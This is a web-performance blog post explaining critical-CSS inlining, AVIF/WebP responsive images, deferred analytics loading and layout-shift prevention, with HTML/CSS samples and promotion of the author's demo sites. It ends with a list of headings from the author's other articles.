The problem: When browsers load a page, external CSS files block rendering. The browser downloads your HTML, encounters <link rel="stylesheet">, pauses rendering, downloads the CSS, parses it, then finally renders the page. This delay affects your Largest Contentful Paint (LCP) score significantly.

The solution: Inline your critical CSS directly in the <head> tag. The browser can render immediately without waiting for external files.

A real example: A professional services site I optimized scored 94/100 before CSS inlining. After moving critical styles inline, it scored 100/100. The only change was moving approximately 3KB of above-the-fold CSS into the HTML head.

Here's what that structure looks like:

<head>
  <style>
    /* Critical CSS - inline everything needed for initial render */
    body { margin: 0; font-family: system-ui, sans-serif; }
    header { background: #1a1a1a; color: white; padding: 1rem; }
    .hero { min-height: 400px; background: linear-gradient(...); }
  </style>

  <!-- Load non-critical CSS asynchronously -->
  <link rel="stylesheet" href="/full-styles.css" media="print" onload="this.media='all'">
</head>

What to watch for: Keep inline CSS under 8KB. Beyond this size, you're delaying HTML download time, which can actually hurt your First Contentful Paint score instead of helping it. Extract only the styles needed for above-the-fold content.

Framework considerations: If you're using Nuxt, Next.js, or similar frameworks, look for build-time CSS extraction features. Nuxt's experimental.inlineSSRStyles handles this automatically during static generation.

How do modern image formats reduce file size?

The problem: Images typically account for 60-80% of page weight. Unoptimized images directly affect load times, especially on mobile networks.

The solution: Use AVIF format where supported, with WebP fallback, and serve appropriately sized images for different viewports.

A real example: I built a healthcare website (medconnect.codecrank.ai) with professional medical imagery and team photos. Initial image exports totaled approximately 2.5MB per page. After optimization:

Format conversion: Changed from PNG/JPG to AVIF (50-80% smaller at equivalent quality)
Responsive sizing: Served 400px images for mobile, 1200px for desktop (not full 4K resolution for all devices)
Result: Lightweight page weight with excellent visual quality
Performance score: 100/100/100/100 (perfect scores across all metrics)

The implementation:

<picture>
  <source srcset="hero-400.avif 400w, hero-800.avif 800w, hero-1200.avif 1200w"
          type="image/avif">
  <source srcset="hero-400.webp 400w, hero-800.webp 800w, hero-1200.webp 1200w"
          type="image/webp">
  <img src="hero-800.jpg"
       alt="Hero image"
       width="1200"
       height="800"
       loading="lazy">
</picture>

How browsers handle this: Modern browsers automatically select the best format and size they support. Chrome uses AVIF, Safari uses WebP (AVIF support pending), and older browsers fall back to JPG. Mobile devices get 400px versions, desktop gets 1200px. You write it once, browsers handle the rest.

Tools worth knowing: Squoosh (squoosh.app) for manual conversion with quality preview, or Sharp (Node.js library) for batch processing. Both give you control over quality settings per image.

What makes resources render-blocking?

The problem: External JavaScript files block the browser's main thread during download and execution. Even optimized scripts add 200-500ms of blocking time, which directly affects your Time to Interactive and Total Blocking Time scores.

The solution: Defer JavaScript execution until after initial page render. Load scripts after the page displays content to users.

The Google Analytics consideration: Standard GA4 implementation is the most common performance issue I encounter. The default tracking code blocks rendering and adds approximately 500ms to LCP.

Standard implementation (blocks rendering):

<script async src="https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX"></script>

Performance-optimized implementation:

<script>
  window.addEventListener('load', function() {
    // Load GA4 after page fully renders
    var script = document.createElement('script');
    script.src = 'https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX';
    document.head.appendChild(script);
  });
</script>

The trade-off: This approach won't track users who leave within the first 2 seconds of page load. In practice, this represents less than 1% of traffic for most sites and is worth the performance improvement.

What to check: Review your <head> section. Any <script> tag without defer or async attributes is blocking. Move it to the page bottom or defer its execution.

How do you prevent cumulative layout shift?

The problem: Content shifting position while the page loads creates a poor user experience and hurts your CLS (Cumulative Layout Shift) score. Common causes include images loading without reserved space, web fonts swapping in, or ads inserting dynamically.

The solution: Reserve space for all content before it loads.

A real example: A professional services site I built maintains a CLS score of 0 (zero layout shift). Here's the approach:

1. Set explicit image dimensions:

<img src="hero.jpg" width="1200" height="800" alt="Hero">
<!-- Browser reserves 1200x800 space before image loads -->

2. Use CSS aspect-ratio for responsive images:

img {
  width: 100%;
  height: auto;
  aspect-ratio: 3/2; /* Maintains space even as viewport changes */
}

3. Configure fonts to display fallbacks immediately:

@font-face {
  font-family: 'CustomFont';
  src: url('/fonts/custom.woff2');
  font-display: swap; /* Show system font immediately, swap when custom font loads */
}

The result: Content positions remain stable throughout the load process. The page feels responsive and professional.

Debugging layout shift: Run PageSpeed Insights and review the filmstrip view. If you see elements jumping position, add explicit dimensions or aspect-ratios to the shifting elements.

What common issues occur during optimization?

Even when following established practices, you might encounter these issues:

"I inlined my CSS but my score dropped"

This happens when inline CSS exceeds 8-10KB. The browser must download the entire HTML file before rendering anything, which delays First Contentful Paint.

Solution: Extract only above-the-fold styles. Identify which CSS is needed for initial viewport rendering, inline only that portion, and load the rest asynchronously:

<link rel="stylesheet" href="/full-styles.css" media="print" onload="this.media='all'">

"My AVIF images appear blurry or pixelated"

Default AVIF quality settings are often too aggressive. A quality setting of 50 works for photographs but degrades images containing text or graphics.

Solution: Increase quality to 75-85 for images with text or fine details. Use image conversion tools that show quality previews before batch processing.

"CLS score remains poor despite setting dimensions"

Common culprits beyond images: web fonts loading (text reflows when custom font loads), ads inserting dynamically, or content above images pushing them down during load.

Solutions:

Fonts: Use font-display: swap and preload critical font files
Images: Always set explicit width and height attributes or use CSS aspect-ratio
Dynamic content: Set minimum heights on containers before content populates

"Performance is great on desktop but needs work on mobile"

Mobile devices have slower processors and network connections. What renders quickly on a development machine often struggles on mid-range Android phones over 4G networks. If you're only testing on desktop, you're missing how most users experience your site.

Solution: Always test mobile performance with Chrome DevTools throttling enabled (4x CPU slowdown, Fast 3G network). This simulates realistic mobile conditions and reveals actual user experience. Aim for 90+ on mobile, and you will likely get 100 on desktop.

How should you test performance?

The challenge: Your site might perform well on your development machine but struggle in real-world conditions. Mobile users on 4G with mid-range phones experience performance very differently than you do on a MacBook Pro with fiber internet.

The testing process:

Run PageSpeed Insights (pagespeed.web.dev) on mobile configuration first
Check Core Web Vitals against targets:
- LCP (Largest Contentful Paint): under 2.5 seconds
- TBT (Total Blocking Time): under 200ms
- CLS (Cumulative Layout Shift): under 0.1
Review the filmstrip: Look for empty frames where nothing renders
Address the largest issue first (typically render-blocking CSS or oversized images)
Re-test and iterate until reaching 90+/100

A perspective on perfection: Don't necessarily chase 100/100 if you're already at 95+. The final 5 points often represent diminishing returns. Consider whether that time is better spent on content, user experience, or other priorities.

Real device testing: Test on actual mobile devices when possible, not just Chrome DevTools simulation. Real hardware reveals issues that simulators miss.

What do these techniques look like in practice?

Examples you can test right now:

I built these sites to demonstrate these techniques in production:

Professional Services Example - zenaith.codecrank.ai

Scores: 100/100/100/100 (all four metrics)
LCP: 1.8 seconds
Techniques used: Inline critical CSS, AVIF images, zero render-blocking scripts, CLS: 0
Verification: Click "⚡ PageSpeed Me" in the footer to test live

MedConnect Pro (Healthcare Site) - medconnect.codecrank.ai

Scores: 100/100/100/100 (perfect scores across all metrics)
Techniques used: AVIF conversion, responsive images, semantic HTML, accessibility-first design
Verification: Click "⚡ PageSpeed Me" in the footer to test live

Mixology (Cocktail Recipes) - mixology.codecrank.ai

Score: 96/100 mobile, 100/100 desktop
Techniques used: Static generation, optimized images, minimal JavaScript

You can test any of these sites yourself. Newer sites even include a 'PageSpeed Me' button linking directly to Lighthouse testing. I have nothing to hide—the scores are verifiable.

The Honest Take

Most developers ship sites that "work" and move on. Getting to 100/100 takes additional time and attention to detail that many choose not to invest.

I put PageSpeed buttons on every site I build because the work should speak for itself. If I claim 100/100, you can verify it immediately. If I don't achieve it, I'll explain exactly why (client-requested features, necessary third-party integrations, etc.).

Fair warning: PageSpeed scores can fluctuate by a few points depending on network conditions, server load, and time of day. A site scoring 100/100 might test at 98/100 an hour later. What matters is consistent high performance (90-100 range), not chasing a perfect score every single test.

This transparency is uncommon in web development. Many agencies don't want you testing their work. I built these techniques into my process specifically so performance isn't an afterthought—it's built in from the start.

The results are measurable, verifiable, and reproducible. Some clients care deeply about performance. Some don't. I serve those who do.

What's the realistic time investment?

Optimizing to 100/100 isn't quick the first time through. For a typical site, expect:

1-2 hours: Image optimization (format conversion, resizing, quality testing)
1-2 hours: CSS optimization (critical extraction, inline implementation)
1 hour: Layout shift fixes (dimensions, aspect-ratios, font configuration)
1 hour: Testing and iteration

Total: 4-6 hours for first-time implementation

However: Once you've completed this process for one site, you understand the patterns. Your second site takes approximately 2 hours. Your tenth site takes 30 minutes because you've built the tooling and established the workflow.

Most developers never invest this time because "good enough" ships. But if you care about user experience, SEO performance, and conversion rates, it's worth learning these techniques.

What comes next?

You now understand how to achieve 100/100 PageSpeed scores. You know the techniques, the trade-offs, and the testing approach.

In my next article, I'll examine why performance optimization often gets overlooked in professional web development. I'll share a real case study—a $5,000 professional website scoring 40/100—and explain what affects the cost and quality of web development.

Want to verify these techniques work? Visit any of the sites mentioned above and click "⚡ PageSpeed Me" to test them live. Then consider: what would perfect performance scores mean for your business?

Need help with performance optimization? Visit codecrank.ai to learn about our approach to web development. We build performance optimization into every project from day one.

All performance metrics verified with Google Lighthouse. Sites tested on mobile with 4G throttling and mid-tier device simulation.

DEV Community: Daniel Tofan

Inertia.js Silently Breaks Your App

Scope (What This Is, What This Isn't)

The Pitch vs. The Reality

1. Sequential Request Pitfall: await Does Not Serialize Inertia Router Visits

2. Deploy-Time Stale Chunks: Not Unique to Inertia, But Operationally Sharper with Server-Client Coupling

3. Failure UX Defaults to Silence

4. Navigation Errors Vanish Without a Trace

5. Props in HTML: Not Unique, Still a Real Discipline Requirement

6. "No API" Is Better Framed as a Starting Optimization, Not a Permanent Architecture

The Root Problem (In This Stack)

The Alternative We Prefer in High-Complexity Flows

The Honest Take

A LinkedIn Job Offer Tried to Install Malware on My Machine

The Setup

The Warning Signs

The Malware: How It Worked

Component 1: The Auto-Execution Hook

Component 2: The Obfuscated Loader

Component 3: The Configuration

What the Payload Was Designed To Do

The Evidence

Attacker Contacts

Technical Infrastructure

What I Did

The Outcome

How to Protect Yourself

Before Running npm install on Untrusted Code

Red Flags in Job Offers

The Nuclear Option: Isolation

The Economics of This Scam

Final Thoughts

Can You Beat AI at This Simple Game?

The Rules

The Features

The Challenge

The Tech

What Would Make This Better?

I Asked AI to Invent 54 Cocktails

The Six Categories

🌴 Tropical Exotics

🔥 Smoke & Fire

🌈 Vibrant Colors

💎 Crystal & Ice

🌿 Garden Fresh

⚗️ Molecular Mixology

The Hits - Actually Try These

Mango Lassi Margarita

The Alchemist's Elixir

Cilantro Jalapeño Margarita

The Misses - Recipes Only a Chemist Could Love

"Use edible bubble solution kit"

"Slowly pour liquid nitrogen"

Finally, measurements I understand

The Honest Take

The Images - The Unexpected Win

Try Them - And Tell Me What's Next

Happy New Year

JavaScript vs TypeScript for MVPs: Why We Ship Without Types (And What We Use Instead)

Why This Debate Matters for MVPs

Our Safety Net: 90%+ Test Coverage

What Tests Catch That Types Don't

The Speed Tax of TypeScript

Modern JavaScript Is Better Than You Remember

When TypeScript Is the Right Choice

The Honest Take

Our Battle-Tested MVP Stack: What We Use and Why

Frontend: Vue Over React

The Corporate Framework Problem

Code Quality: Templates vs JSX

Composition API: Hooks Done Right

The Market Share Argument

The Vue Ecosystem: Quasar

Meta-Framework: Nuxt

Nuxt 4: Batteries Included

SSG for MVPs

Hosting: Cloudflare Over Vercel

The Story

The Switch to Cloudflare

When Vercel Makes Sense

1. Sequential Request Pitfall: `await` Does Not Serialize Inertia Router Visits

Before Running `npm install` on Untrusted Code